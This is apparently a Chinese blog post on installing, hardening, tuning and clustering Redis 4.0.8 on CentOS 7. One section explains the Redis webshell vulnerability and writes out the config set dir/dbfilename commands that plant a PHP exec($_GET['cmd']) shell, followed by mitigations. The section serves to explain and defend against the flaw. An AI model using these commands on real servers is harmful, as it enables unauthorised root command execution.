zoukankan      html  css  js  c++  java
  • CentOS7.X安装Redis-4.0.8以及Redis集群搭建

    安装redis

    1. 安装前的准备

      yum install 
      vim 
      wget 
      make 
      gcc 
      gcc-c++ 
      automake 
      autoconf 
      -y 
    2. 下载解压并安装

      cd /root
      wget http://download.redis.io/releases/redis-4.0.8.tar.gz
      tar -zxzf redis-4.0.8.tar.gz
      cd redis-4.0.8
      make PREFIX=/usr/local/redis/ install
    3. 创建配置中要求的数据文件存储位置

      mkdir /data
      mkdir /data/redis
      mkdir /usr/local/redis/log
    4. 添加修改配置文件参考配置

      cp ./redis.conf /usr/local/redis
      vim /usr/local/redis/redis.conf
      
      # IP绑定
      bind 127.0.0.1 192.168.0.111
      # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启)
      protected-mode yes
      # 访问端口
      port 6379
      # 连接超时,单位S,0为不启用超时
      timeout 0
      # 以守护进程运行
      daemonize yes
      # 数据文件路径
      dir /data/redis
      # 进程ID文件的路径
      pidfile /usr/local/redis/log/redis.pid
      # 日志文件路径
      logfile /usr/local/redis/log/redis.log
      # 开启键过期删除通知
      notify-keyspace-events Ex
      
      ESC
      :wq
      
      # 以下安全配置选项仅作参考
          # 禁用部分危险命令
          rename-command FLUSHALL ""
          rename-command CONFIG   ""
          rename-command EVAL     ""
          # 添加访问密码
          requirepass ********
          # IP绑定本机
          bind 127.0.0.1
    5. 性能优化

      # 编辑/etc/rc.local
      vim /etc/rc.local
      
      echo never > /sys/kernel/mm/transparent_hugepage/enabled
      
      ESC
      :wq
      
      # 添加/etc/rc.local执行权限
      chmod +x /etc/rc.d/rc.local
      
      # 编辑/etc/sysctl.conf
      vim /etc/sysctl.conf
      
      vm.overcommit_memory = 1
      net.core.somaxconn = 1024
      
      ESC
      :wq
      
      # 立即解决
      echo never > /sys/kernel/mm/transparent_hugepage/enabled
      echo 1024 > /proc/sys/net/core/somaxconn
      sysctl vm.overcommit_memory=1
      sysctl -p
    6. 修改目录归属

      useradd -s /sbin/nologin -M redis
      chown -R redis:redis /data/redis
      chown -R redis:redis /usr/local/redis
    7. 启动redis并设置开机启动

      # 进入单元文件目录
      cd /etc/systemd/system
      
      # 创建redis单元文件,格式为: [单元文件名].[单元文件类型]
      vim redis.service
      
      [Unit]
      Description=Start redis on boot.
      After=default.target network.target
      
      [Service]
      User=redis
      Group=redis
      Type=forking
      PIDFile=/usr/local/redis/log/redis.pid
      ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
      ExecReload=/bin/kill -s HUP $MAINPID
      ExecStop=/bin/kill -s QUIT $MAINPID
      PrivateTmp=false
      Restart=always
      
      [Install]
      WantedBy=multi-user.target
      
      ESC
      :wq
      
      # 修改文件权限为只有root用户可以编辑该文件
      chown -R root:root /etc/systemd/system/redis.service
      chmod -R 644 /etc/systemd/system/redis.service
      
      # 更新systemd
      systemctl daemon-reload
      systemctl enable redis
      systemctl start redis
    8. 存入数据

      /usr/local/redis/bin/redis-cli -h 127.0.0.1
      
      set num 123
      save
      get num
      quit
    9. 批量删除匹配规则数据

      redis-cli keys [匹配规则]|xargs redis-cli del

    Redis宕机 aof文件损坏 启动失败

    1. 拷贝aof文件
    2. 修复坏损的aof文件

      redis-check-aof --fix [aof文件名]
    3. 重新启动Redis

    Redis漏洞webshell的利用

    参考链接

    1. Redis该漏洞用到的原理如下

      1. redis原生支持通过'redis-cli>config set'在不重启redis服务的情况
        下,动态修改配置dir、dbfilename;
      2. redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执
        行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文

      件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web
      目录,则/www/test.php则会被人利用,成为入侵你服务器的入口;

    2. 漏洞举例(这是一个负面教材)

      1. redis以超级管理员用户root运行
      2. Nginx以超级管理员用户root启动,子进程也以root运行
      3. web服务器为nginx,并做如下配置:

        server {
            listen       x;
            server_name  xxx.xxx.com;
            root         /www;
        
            location / {
                index    index.php index.html index.htm;
            }
        
            location ~ .php$ {
                fastcgi_index  index.php;
                fastcgi_pass   127.0.0.1:9000;
                fastcgi_param  SCRIPT_NAME      $fastcgi_script_name;
                fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
                include        fastcgi_params;
            }
        }
      4. 通过redis-cli执行了以下命令

        config set dir /www/
        config set dbfilename test.php
        set test "<?php exec($_GET['cmd']); ?>"
        save
      5. 这时候可怕的事情出现了

        1. 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到
        2. 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令)

    Redis漏洞webshell的防范

    1. 不要线上使用redis的web管理工具
    2. redis以低权限用户运行(如rediser等让人想不到的用户名)
    3. redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24)
    4. redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "")
    5. web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程)

    redis集群(cluster方式)

    1. 集群前的配置(单机两服务测试6379,6380)

      # 内网IP:192.168.0.100
    2. 修改redis.conf

      vim /usr/local/redis/redis.conf
      
      # 启用cluster
      cluster-enabled yes
      # 调用cluster配置文件
      cluster-config-file nodes-6379.conf
      # 集群超时
      cluster-node-timeout 15000
      # 关闭宕机全停
      cluster-require-full-coverage no
      # 集群从属元素个数
      cluster-slave-validity-factor 10
      # 从机数最低迁移值(master至少有两台slave,才能做slave迁移)
      cluster-migration-barrier 1
      
      ESC
      :wq
    3. 配置文件添加

      yum install ruby
      gem install redis
      
      cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
      cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf
      cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf
      
      mkdir /usr/local/redis/data/6379
      mkdir /usr/local/redis/data/6380
    4. 修改redis-6379.conf

      vim /usr/local/redis/redis-6379.conf
      
      unixsocket /usr/local/redis/data/6379/redis.sock
      pidfile /usr/local/redis/log/redis_6379.pid
      logfile /usr/local/redis/log/redis_6379.log
      dir /usr/local/redis/data/6379/
      bind 192.168.0.100
      port 6379
      
      ESC
      :wq
    5. 修改redis-6380.conf

      vim /usr/local/redis/redis-6380.conf
      
      unixsocket /usr/local/redis/data/6380/redis.sock
      pidfile /usr/local/redis/log/redis_6380.pid
      logfile "/usr/local/redis/log/redis_6380.log"
      dir /usr/local/redis/data/6380/
      bind 192.168.0.100
      port 6380
      
      ESC
      :wq
    6. 修改开机启动

      vim /etc/rc.local
      
      /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf
      /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf
      
      ESC
      :wq
    7. 创建cluster

      cd /root/redis/src/
      # 查看帮助
      ./redis-trib.rb help
      # 添加绑定
      ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380
    8. 集群测试

      /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
    9. 正常关闭(不要强制关闭)

      /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown
  • 相关阅读:
    用Python完成一个汇率转换器
    鸿蒙如何用JS开发智能手表App
    鸿蒙如何用JS开发智能手表App
    SAP Spartacus SplitViewComponent Migration 的一个具体例子
    SAP Spartacus B2B 页面 Popover Component 的条件显示逻辑
    SAP Spartacus 升级时关于 schematics 的更新
    SAP Spartacus B2B 页面 Disable 按钮的显示原理
    SAP Spartacus B2B 页面 Disable Confirmation 对话框的显示原理
    通过 Feature Level 动态控制 SAP Spartacus 的页面显示
    SAP Commerce Cloud Build Manifest Components
  • 原文地址:https://www.cnblogs.com/telwanggs/p/9513639.html
Copyright © 2011-2022 走看看